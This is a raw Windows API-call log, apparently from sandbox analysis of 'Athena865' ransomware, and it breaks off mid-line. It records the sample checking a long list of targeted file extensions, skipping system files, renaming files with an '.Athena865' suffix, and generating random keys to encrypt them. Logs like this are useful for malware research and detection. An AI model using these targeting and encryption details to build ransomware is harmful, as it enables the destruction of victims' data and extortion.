lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0103.256] lstrlenW (lpString="gdb") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0103.256] lstrlenW (lpString="grdb") returned 4 [0103.256] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1 [0103.256] lstrlenW (lpString="gwi") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1 [0103.256] lstrlenW (lpString="hdb") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1 [0103.256] lstrlenW (lpString="his") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="his") returned 1 [0103.256] lstrlenW (lpString="ib") returned 2 [0103.257] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1 [0103.257] lstrlenW (lpString="idb") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="idb") returned 1 [0103.257] lstrlenW (lpString="ihx") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1 [0103.257] lstrlenW (lpString="itdb") returned 4 [0103.257] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1 [0103.257] lstrlenW (lpString="itw") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="itw") returned 1 [0103.257] lstrlenW (lpString="jet") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="jet") returned 1 [0103.257] lstrlenW (lpString="jtx") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1 [0103.257] lstrlenW (lpString="kdb") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1 [0103.257] lstrlenW (lpString="kexi") returned 4 [0103.257] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1 [0103.257] lstrlenW (lpString="kexic") returned 5 [0103.257] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1 [0103.257] lstrlenW (lpString="kexis") returned 5 [0103.257] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1 [0103.257] lstrlenW (lpString="lgc") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1 [0103.257] lstrlenW (lpString="lwx") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1 [0103.257] lstrlenW (lpString="maf") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="maf") returned 1 [0103.257] lstrlenW (lpString="maq") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="maq") returned 1 [0103.257] lstrlenW (lpString="mar") returned 3 [0103.257] lstrcmpiW (lpString1="url", lpString2="mar") returned 1 [0103.257] lstrlenW (lpString="marshal") returned 7 [0103.257] lstrcmpiW (lpString1="tos.url", lpString2="marshal") returned 1 [0103.258] lstrlenW (lpString="mas") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mas") returned 1 [0103.258] lstrlenW (lpString="mav") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mav") returned 1 [0103.258] lstrlenW (lpString="maw") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="maw") returned 1 [0103.258] lstrlenW (lpString="mdbhtml") returned 7 [0103.258] lstrcmpiW (lpString1="tos.url", lpString2="mdbhtml") returned 1 [0103.258] lstrlenW (lpString="mdn") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1 [0103.258] lstrlenW (lpString="mdt") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1 [0103.258] lstrlenW (lpString="mfd") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1 [0103.258] lstrlenW (lpString="mpd") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1 [0103.258] lstrlenW (lpString="mrg") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1 [0103.258] lstrlenW (lpString="mud") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mud") returned 1 [0103.258] lstrlenW (lpString="mwb") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1 [0103.258] lstrlenW (lpString="myd") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="myd") returned 1 [0103.258] lstrlenW (lpString="ndf") returned 3 [0103.258] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1 [0103.258] lstrlenW (lpString="nnt") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1 [0103.259] lstrlenW (lpString="nrmlib") returned 6 [0103.259] lstrcmpiW (lpString1="os.url", lpString2="nrmlib") returned 1 [0103.259] lstrlenW (lpString="ns2") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1 [0103.259] lstrlenW (lpString="ns3") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1 [0103.259] lstrlenW (lpString="ns4") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1 [0103.259] lstrlenW (lpString="nsf") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1 [0103.259] lstrlenW (lpString="nv") returned 2 [0103.259] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1 [0103.259] lstrlenW (lpString="nv2") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1 [0103.259] lstrlenW (lpString="nwdb") returned 4 [0103.259] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1 [0103.259] lstrlenW (lpString="nyf") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1 [0103.259] lstrlenW (lpString="odb") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0103.259] lstrlenW (lpString="odb") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0103.259] lstrlenW (lpString="oqy") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1 [0103.259] lstrlenW (lpString="ora") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="ora") returned 1 [0103.259] lstrlenW (lpString="orx") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="orx") returned 1 [0103.259] lstrlenW (lpString="owc") returned 3 [0103.259] lstrcmpiW (lpString1="url", lpString2="owc") returned 1 [0103.260] lstrlenW (lpString="p96") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="p96") returned 1 [0103.260] lstrlenW (lpString="p97") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="p97") returned 1 [0103.260] lstrlenW (lpString="pan") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="pan") returned 1 [0103.260] lstrlenW (lpString="pdb") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1 [0103.260] lstrlenW (lpString="pdm") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1 [0103.260] lstrlenW (lpString="pnz") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1 [0103.260] lstrlenW (lpString="qry") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="qry") returned 1 [0103.260] lstrlenW (lpString="qvd") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1 [0103.260] lstrlenW (lpString="rbf") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1 [0103.260] lstrlenW (lpString="rctd") returned 4 [0103.260] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1 [0103.260] lstrlenW (lpString="rod") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="rod") returned 1 [0103.260] lstrlenW (lpString="rodx") returned 4 [0103.260] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1 [0103.260] lstrlenW (lpString="rpd") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1 [0103.260] lstrlenW (lpString="rsd") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1 [0103.260] lstrlenW (lpString="sas7bdat") returned 8 [0103.260] lstrcmpiW (lpString1="utos.url", lpString2="sas7bdat") returned 1 [0103.260] lstrlenW (lpString="sbf") returned 3 [0103.260] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1 [0103.260] lstrlenW (lpString="scx") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="scx") returned 1 [0103.261] lstrlenW (lpString="sdb") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1 [0103.261] lstrlenW (lpString="sdc") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1 [0103.261] lstrlenW (lpString="sdf") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1 [0103.261] lstrlenW (lpString="sis") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="sis") returned 1 [0103.261] lstrlenW (lpString="spq") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="spq") returned 1 [0103.261] lstrlenW (lpString="te") returned 2 [0103.261] lstrcmpiW (lpString1="rl", lpString2="te") returned -1 [0103.261] lstrlenW (lpString="teacher") returned 7 [0103.261] lstrcmpiW (lpString1="tos.url", lpString2="teacher") returned 1 [0103.261] lstrlenW (lpString="tmd") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1 [0103.261] lstrlenW (lpString="tps") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="tps") returned 1 [0103.261] lstrlenW (lpString="trc") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0103.261] lstrlenW (lpString="trc") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0103.261] lstrlenW (lpString="trm") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="trm") returned 1 [0103.261] lstrlenW (lpString="udb") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="udb") returned 1 [0103.261] lstrlenW (lpString="udl") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="udl") returned 1 [0103.261] lstrlenW (lpString="usr") returned 3 [0103.261] lstrcmpiW (lpString1="url", lpString2="usr") returned -1 [0103.261] lstrlenW (lpString="v12") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="v12") returned -1 [0103.262] lstrlenW (lpString="vis") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="vis") returned -1 [0103.262] lstrlenW (lpString="vpd") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1 [0103.262] lstrlenW (lpString="vvv") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1 [0103.262] lstrlenW (lpString="wdb") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1 [0103.262] lstrlenW (lpString="wmdb") returned 4 [0103.262] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1 [0103.262] lstrlenW (lpString="wrk") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1 [0103.262] lstrlenW (lpString="xdb") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1 [0103.262] lstrlenW (lpString="xld") returned 3 [0103.262] lstrcmpiW (lpString1="url", lpString2="xld") returned -1 [0103.262] lstrlenW (lpString="xmlff") returned 5 [0103.262] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1 [0103.262] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Athena865") returned 80 [0103.262] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn autos.url.athena865"), dwFlags=0x1) returned 1 [0103.263] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn autos.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.263] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.264] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.264] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.264] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.264] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.267] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.267] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.268] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.268] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.269] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.269] CloseHandle (hObject=0x17c) returned 1 [0103.269] CloseHandle (hObject=0x154) returned 1 [0103.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.269] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0103.269] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.269] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.269] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".") returned 1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="..") returned 1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="windows") returned -1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="bootmgr") returned 1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="temp") returned -1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="pagefile.sys") returned -1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="boot") returned 1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ids.txt") returned 1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ntuser.dat") returned -1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="perflogs") returned -1 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="MSBuild") returned 1 [0103.270] lstrlenW (lpString="MSN Entertainment.url") returned 21 [0103.270] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSN Entertainment.url" | out: lpString1="MSN Entertainment.url") returned="MSN Entertainment.url" [0103.270] lstrlenW (lpString="MSN Entertainment.url") returned 21 [0103.270] lstrlenW (lpString="Athena865") returned 9 [0103.270] lstrcmpiW (lpString1="nment.url", lpString2="Athena865") returned 1 [0103.270] lstrlenW (lpString=".dll") returned 4 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".dll") returned 1 [0103.270] lstrlenW (lpString=".lnk") returned 4 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".lnk") returned 1 [0103.270] lstrlenW (lpString=".ini") returned 4 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".ini") returned 1 [0103.270] lstrlenW (lpString=".sys") returned 4 [0103.270] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".sys") returned 1 [0103.270] lstrlenW (lpString="MSN Entertainment.url") returned 21 [0103.270] lstrlenW (lpString="bak") returned 3 [0103.270] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.270] lstrlenW (lpString="ba_") returned 3 [0103.270] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.270] lstrlenW (lpString="dbb") returned 3 [0103.270] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.271] lstrlenW (lpString="vmdk") returned 4 [0103.271] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.271] lstrlenW (lpString="rar") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.271] lstrlenW (lpString="zip") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.271] lstrlenW (lpString="tgz") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.271] lstrlenW (lpString="vbox") returned 4 [0103.271] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.271] lstrlenW (lpString="vdi") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.271] lstrlenW (lpString="vhd") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.271] lstrlenW (lpString="vhdx") returned 4 [0103.271] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.271] lstrlenW (lpString="avhd") returned 4 [0103.271] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.271] lstrlenW (lpString="db") returned 2 [0103.271] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.271] lstrlenW (lpString="db2") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.271] lstrlenW (lpString="db3") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.271] lstrlenW (lpString="dbf") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.271] lstrlenW (lpString="mdf") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.271] lstrlenW (lpString="mdb") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.271] lstrlenW (lpString="sql") returned 3 [0103.271] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.272] lstrlenW (lpString="sqlite") returned 6 [0103.272] lstrcmpiW (lpString1="nt.url", lpString2="sqlite") returned -1 [0103.272] lstrlenW (lpString="sqlite3") returned 7 [0103.272] lstrcmpiW (lpString1="ent.url", lpString2="sqlite3") returned -1 [0103.272] lstrlenW (lpString="sqlitedb") returned 8 [0103.272] lstrcmpiW (lpString1="ment.url", lpString2="sqlitedb") returned -1 [0103.272] lstrlenW (lpString="xml") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.272] lstrlenW (lpString="$er") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.272] lstrlenW (lpString="4dd") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.272] lstrlenW (lpString="4dl") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.272] lstrlenW (lpString="^^^") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.272] lstrlenW (lpString="abs") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.272] lstrlenW (lpString="abx") returned 3 [0103.272] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.272] lstrlenW (lpString="accdb") returned 5 [0103.272] lstrcmpiW (lpString1="t.url", lpString2="accdb") returned 1 [0103.272] lstrlenW (lpString="accdc") returned 5 [0103.272] lstrcmpiW (lpString1="t.url", lpString2="accdc") returned 1 [0103.272] lstrlenW (lpString="accde") returned 5 [0103.272] lstrcmpiW (lpString1="t.url", lpString2="accde") returned 1 [0103.272] lstrlenW (lpString="accdr") returned 5 [0103.272] lstrcmpiW (lpString1="t.url", lpString2="accdr") returned 1 [0103.272] lstrlenW (lpString="accdt") returned 5 [0103.272] lstrcmpiW (lpString1="t.url", lpString2="accdt") returned 1 [0103.272] lstrlenW (lpString="accdw") returned 5 [0103.273] lstrcmpiW (lpString1="t.url", lpString2="accdw") returned 1 [0103.273] lstrlenW (lpString="accft") returned 5 [0103.273] lstrcmpiW (lpString1="t.url", lpString2="accft") returned 1 [0103.273] lstrlenW (lpString="adb") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.273] lstrlenW (lpString="adb") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.273] lstrlenW (lpString="ade") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.273] lstrlenW (lpString="adf") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.273] lstrlenW (lpString="adn") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.273] lstrlenW (lpString="adp") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.273] lstrlenW (lpString="alf") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.273] lstrlenW (lpString="ask") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.273] lstrlenW (lpString="btr") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.273] lstrlenW (lpString="cat") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.273] lstrlenW (lpString="cdb") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.273] lstrlenW (lpString="ckp") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.273] lstrlenW (lpString="cma") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.273] lstrlenW (lpString="cpd") returned 3 [0103.273] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.274] lstrlenW (lpString="dacpac") returned 6 [0103.274] lstrcmpiW (lpString1="nt.url", lpString2="dacpac") returned 1 [0103.274] lstrlenW (lpString="dad") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.274] lstrlenW (lpString="dadiagrams") returned 10 [0103.274] lstrcmpiW (lpString1="inment.url", lpString2="dadiagrams") returned 1 [0103.274] lstrlenW (lpString="daschema") returned 8 [0103.274] lstrcmpiW (lpString1="ment.url", lpString2="daschema") returned 1 [0103.274] lstrlenW (lpString="db-journal") returned 10 [0103.274] lstrcmpiW (lpString1="inment.url", lpString2="db-journal") returned 1 [0103.274] lstrlenW (lpString="db-shm") returned 6 [0103.274] lstrcmpiW (lpString1="nt.url", lpString2="db-shm") returned 1 [0103.274] lstrlenW (lpString="db-wal") returned 6 [0103.274] lstrcmpiW (lpString1="nt.url", lpString2="db-wal") returned 1 [0103.274] lstrlenW (lpString="dbc") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.274] lstrlenW (lpString="dbs") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.274] lstrlenW (lpString="dbt") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.274] lstrlenW (lpString="dbv") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.274] lstrlenW (lpString="dbx") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.274] lstrlenW (lpString="dcb") returned 3 [0103.274] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.275] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Athena865") returned 88 [0103.275] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn entertainment.url.athena865"), dwFlags=0x1) returned 1 [0103.276] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn entertainment.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.276] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.277] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.277] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.277] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.277] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.279] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.280] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.281] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.281] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.281] RtlAllocateHeap 